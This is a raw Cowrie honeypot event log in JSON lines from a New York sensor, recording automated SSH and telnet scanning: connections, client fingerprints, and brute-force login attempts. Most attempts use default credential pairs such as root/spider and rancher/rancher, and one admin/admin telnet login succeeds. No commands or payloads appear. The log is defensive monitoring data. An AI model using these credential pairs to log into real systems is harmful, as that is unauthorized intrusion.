{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dd794cda55c","protocol":"telnet","message":"New connection: 152.42.224.71:51176 (10.17.0.5:23) [session: 9dd794cda55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:44.320920Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40184,"dst_ip":"159.203.135.109","dst_port":22,"session":"b22f76a290a3","protocol":"ssh","message":"New connection: 31.40.204.166:40184 (159.203.135.109:22) [session: b22f76a290a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:48.711912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:48.716793Z","src_ip":"31.40.204.166","session":"b22f76a290a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:48.888777Z","src_ip":"31.40.204.166","session":"b22f76a290a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:49.385087Z","src_ip":"31.40.204.166","session":"b22f76a290a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44478,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1c583d049b","protocol":"telnet","message":"New connection: 152.42.224.71:44478 (10.17.0.5:23) [session: 3a1c583d049b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:50.102207Z"}
{"eventid":"cowrie.session.closed","duration":82.40426135063171,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:50.214244Z","src_ip":"152.42.224.71","session":"ccbeb951f6aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.497267007827759,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:50.470397Z","src_ip":"186.251.48.131","session":"b1e35c5822c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:50.516693Z","src_ip":"31.40.204.166","session":"b22f76a290a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.373761415481567,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:50.955581Z","src_ip":"101.51.239.147","session":"530c9690da7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44492,"dst_ip":"10.17.0.5","dst_port":23,"session":"698f82d8cb6a","protocol":"telnet","message":"New connection: 152.42.224.71:44492 (10.17.0.5:23) [session: 698f82d8cb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:52.243698Z"}
{"eventid":"cowrie.session.closed","duration":56.38166427612305,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:56.217754Z","src_ip":"152.42.224.71","session":"a16d3ae8bc76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.646733045578,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:57.166329Z","src_ip":"152.42.224.71","session":"753e7a09fc0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58464,"dst_ip":"10.17.0.5","dst_port":23,"session":"61599d1dee63","protocol":"telnet","message":"New connection: 152.42.224.71:58464 (10.17.0.5:23) [session: 61599d1dee63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:02:59.367891Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50468,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded855edfb20","protocol":"ssh","message":"New connection: 31.40.204.166:50468 (159.203.135.109:22) [session: ded855edfb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:00.479931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:00.486147Z","src_ip":"31.40.204.166","session":"ded855edfb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:00.611840Z","src_ip":"31.40.204.166","session":"ded855edfb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:01.202827Z","src_ip":"31.40.204.166","session":"ded855edfb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:02.420960Z","src_ip":"31.40.204.166","session":"ded855edfb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58642,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c3572a5397","protocol":"ssh","message":"New connection: 31.40.204.166:58642 (159.203.135.109:22) [session: 43c3572a5397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:13.286093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:13.318957Z","src_ip":"31.40.204.166","session":"43c3572a5397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:13.479538Z","src_ip":"31.40.204.166","session":"43c3572a5397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:14.024274Z","src_ip":"31.40.204.166","session":"43c3572a5397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00182700157166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:15.174355Z","src_ip":"152.42.224.71","session":"0c952c28afe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:15.391989Z","src_ip":"31.40.204.166","session":"43c3572a5397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.950161933898926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:16.271008Z","src_ip":"152.42.224.71","session":"9dd794cda55c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":115.93965554237366,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:16.568580Z","src_ip":"152.42.224.71","session":"6338730fffbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.322160720825195,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:17.268129Z","src_ip":"152.42.224.71","session":"c69dde109337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.20418357849121,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:17.628817Z","src_ip":"152.42.224.71","session":"8ad0fd89951c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedbac038d32","protocol":"telnet","message":"New connection: 152.42.224.71:54454 (10.17.0.5:23) [session: bedbac038d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:20.034220Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54470,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3a94e35365","protocol":"telnet","message":"New connection: 152.42.224.71:54470 (10.17.0.5:23) [session: 4f3a94e35365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:22.489995Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34550,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1d8467afa9","protocol":"ssh","message":"New connection: 31.40.204.166:34550 (159.203.135.109:22) [session: 6d1d8467afa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:25.009442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:25.082552Z","src_ip":"31.40.204.166","session":"6d1d8467afa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.966700077056885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:25.175252Z","src_ip":"152.42.224.71","session":"1d82dad234a6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:25.189971Z","src_ip":"31.40.204.166","session":"6d1d8467afa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:25.726457Z","src_ip":"31.40.204.166","session":"6d1d8467afa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:27.020716Z","src_ip":"31.40.204.166","session":"6d1d8467afa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.42064642906189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:30.788430Z","src_ip":"152.42.224.71","session":"61599d1dee63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47502,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cd88c673a9","protocol":"telnet","message":"New connection: 152.42.224.71:47502 (10.17.0.5:23) [session: d9cd88c673a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:30.915051Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc42636fe44","protocol":"ssh","message":"New connection: 103.149.28.157:36214 (10.17.0.5:22) [session: 5cc42636fe44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:32.460228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:32.469429Z","src_ip":"103.149.28.157","session":"5cc42636fe44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:32.719679Z","src_ip":"103.149.28.157","session":"5cc42636fe44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spider","message":"login attempt [root/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:33.482362Z","src_ip":"103.149.28.157","session":"5cc42636fe44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.487268686294556,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:33.521395Z","src_ip":"152.42.224.71","session":"bedbac038d32","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:33.616965Z","src_ip":"109.172.55.64","session":"273061c4d5f8","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:33.669698Z","src_ip":"109.172.55.64","session":"273061c4d5f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:34.734195Z","src_ip":"103.149.28.157","session":"5cc42636fe44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54392,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4a50a3a324","protocol":"ssh","message":"New connection: 31.40.204.166:54392 (159.203.135.109:22) [session: 8d4a50a3a324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.007665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.013631Z","src_ip":"31.40.204.166","session":"8d4a50a3a324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.192566Z","src_ip":"31.40.204.166","session":"8d4a50a3a324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.033475399017334,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.277059Z","src_ip":"152.42.224.71","session":"698f82d8cb6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33602,"dst_ip":"10.17.0.5","dst_port":23,"session":"342496904dc8","protocol":"telnet","message":"New connection: 152.42.224.71:33602 (10.17.0.5:23) [session: 342496904dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.407782Z"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:37.697504Z","src_ip":"31.40.204.166","session":"8d4a50a3a324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:38.987963Z","src_ip":"31.40.204.166","session":"8d4a50a3a324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.661903619766235,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:39.576807Z","src_ip":"152.42.224.71","session":"d9cd88c673a9","protocol":"telnet"}
